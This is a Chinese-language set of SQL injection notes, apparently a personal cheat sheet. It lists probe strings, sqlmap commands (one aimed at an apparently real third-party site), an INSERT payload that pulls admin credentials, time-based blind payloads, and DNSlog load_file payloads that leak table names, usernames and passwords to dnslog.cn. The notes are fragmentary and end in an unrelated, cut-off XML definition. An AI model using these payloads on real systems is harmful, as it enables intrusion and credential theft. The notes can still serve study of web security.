常见的提交方式
GET
POST
COOKIE
HEAD
PUT
OPTION
#### GET注入
GET注入比较常见例如:www.ixxi.com/new.asp?id=11&ssid=123&bid=55
And 1=1
And 1=2
/
-0
‘
%bf’
“
POST提交方式主要适用于表单的提交,挖掘的时候注意魔术引号,可能存在漏洞的位置:
搜索框
登录
留言
注册
例如:
sqlmap -u http://testasp.vulnweb.com/login.asp --data "Pass=1&Name=1"
测试工具
sqlmap
burp手工注入
cookie提交用于账号密码的cookie缓存
还可以通过cookie注入来突破简单的防注入系统
把本来用GET方式提交的参数内容放在cookie中传递达到绕过限制
测试站点:
sqlmap.py -u http://www.jnrcjt.com/onepage3.asp --cookie "id=30" --level 2
常见的http请求中存在注入的参数
User-agent
Referer
X-Forwarded-For
Client-ip
POST /uploads/comment.php?act=send HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=caiu1hm6vu2mp9b5m019ku9107
client-ip:1'
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 63
mood=6&comment=test&id=1&type=1&submit=%CC%E1%BD%BB%C6%C0%C2%DB
EXP构造分析
INSERT INTO blue_comment (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check) VALUES ('', '1', '0', '1', '6', 'test', '1480988752', '111'', '1')
a','xxx'),('','1','1','1','2',(select concat(admin_name,0x3a,pwd) from blue_admin limit 0,1),'1645457407','sss','1')#
/Ndetails/class/news/htmls/moving/id/1131.html
/htmls/moving/id/1131
12.com/sfcxdf/sfsdfs/?445.html
延时注入是通过页面返回的时间来判断的,不同的mysql数据库版本,延迟注入语句也不同。
mysql >=5.0 的可以使用sleep()进行查询
mysql <5.0 的可以使用benchmark()进行查询
benchmark(n,sql语句) n为查询次数
通过查询次数增多 时间变得缓慢来判断是否存在延迟
select benchmark(1000,select * from admin) ;
sleep 可以强制产生一个固定的延迟
sleep()延迟注入核心原理:
and if(true,sleep(5),0); ==IF(1=1, true, false);
id=1 and sleep(5) 判断下是否存在延迟注入
and if(substring(user(),1,4)='root',sleep(5),1) 判断当前用户
and if(MID(version(),1,1) LIKE 5, sleep(5), 1) 判断数据库版本信息是否为5
and if(ascii(substring(database(),1,4))>100,sleep(5),1)
and If(ascii(substr(database(),1,1))<115,sleep(10),1)--+
and If(length((version()))=6,sleep(10),1)--+
sqlmap --time-sec=2 延迟注入
dnslog平台会记录域名dns查询记录,通过我们把查询的结果和dns子域名拼接,发送给dnslog平台查询,就会记录我们的语句查询结果,从而快速提升时间延迟注入的速度。
条件:root权限(要借助load_file()函数)
and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema='jian' limit 0,1),'.xb9pyh.dnslog.cn\\abc'))),1,1)--+ #查表名
and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema='xycms' limit 0,1),'.xb9pyh.dnslog.cn\\abc'))),1,1)--+
and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema='xycms' limit 1,1),'.xb9pyh.dnslog.cn\\abc'))),1,1)--+
列列名
and if((select load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='user' limit 0,1),'.xb9pyh.dnslog.cn\\abc'))),1,1)--+
and if((select load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='user' and TABLE_SCHEMA='dbname' limit 0,1),'.xb9pyh.dnslog.cn\\abc'))),1,1)--+
第二个列名
and if((select load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='user' limit 1,1),'.rloqth.dnslog.cn\\abc'))),1,1)--+
列数据
and if((select load_file(concat('\\\\',(select username from user limit 0,1),'.rloqth.dnslog.cn\\abc'))),1,1)--+and if((select load_file(concat('\\\\',(select password from user limit 0,1),'.rloqth.dnslog.cn\\abc'))),1,1)--+
解码
构造语句
编码
$id=base64_decode($id);
SQL注入一般可分为两种,一阶注入(普通的SQL注入)和二阶SQL注入。
一阶SQL注入发生在一个HTTP请求和响应中,系统对攻击输入立即反应执行。
一阶注入的攻击过程归纳如下:
攻击者在HTTP请求中提交恶意sql语句
应用处理恶意输入,使用恶意输入动态构建SQL语句
如果攻击实现,在响应中向攻击者返回结构
二阶注入,作为sql注入的一种,他不同于普通的SQL注入,恶意代码被注入到web应用中不立即执行,而是存储到后端数据库,在处理另一次不同请求时,应用检索到数据库中的恶意输入并利用它动态构建SQL语句,实现了攻击。
二阶SQL注入的攻击过程归纳如下:
攻击者在一个HTTP请求中提交恶意输入
用于将恶意输入保存在数据库中
攻击者提交第二个HTTP请求
为处理第二个HTTP请求,应用检索存储在后端数据库中的恶意输入,动态构建SQL语句
如果攻击实现,在第二个请求的响应中向攻击者返回结果
一般攻击利用是两种方式:攻击存储、注入攻击
xml可扩展标记语言,标准通用标记语言的子集,是一种用于标记电子文件使其具有结构性的标记语言。在电子计算机中,标记指计算机所能理解的信息符号,通过此种标记,计算机之间可以处理包含各种的信息比如文章等。它可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。 它非常适合万维网传输,提供统一的方法来描述和交换独立于应用程序或供应商的结构化数据。是Internet环境中跨平台的、依赖于内容的技术,也是当今处理分布式结构信息的有效工具。早在1998年,W3C就发布了XML1.0规范,使用它来简化Internet的文档信息传输。
漏洞形成原因:
代码过滤不严
用户可以控制漏洞
实例:
任意文件读取实例
用户注册注入实例
利用抓包工具获取app发送到服务器的链接
burp fiddler即可
得到链接进行测试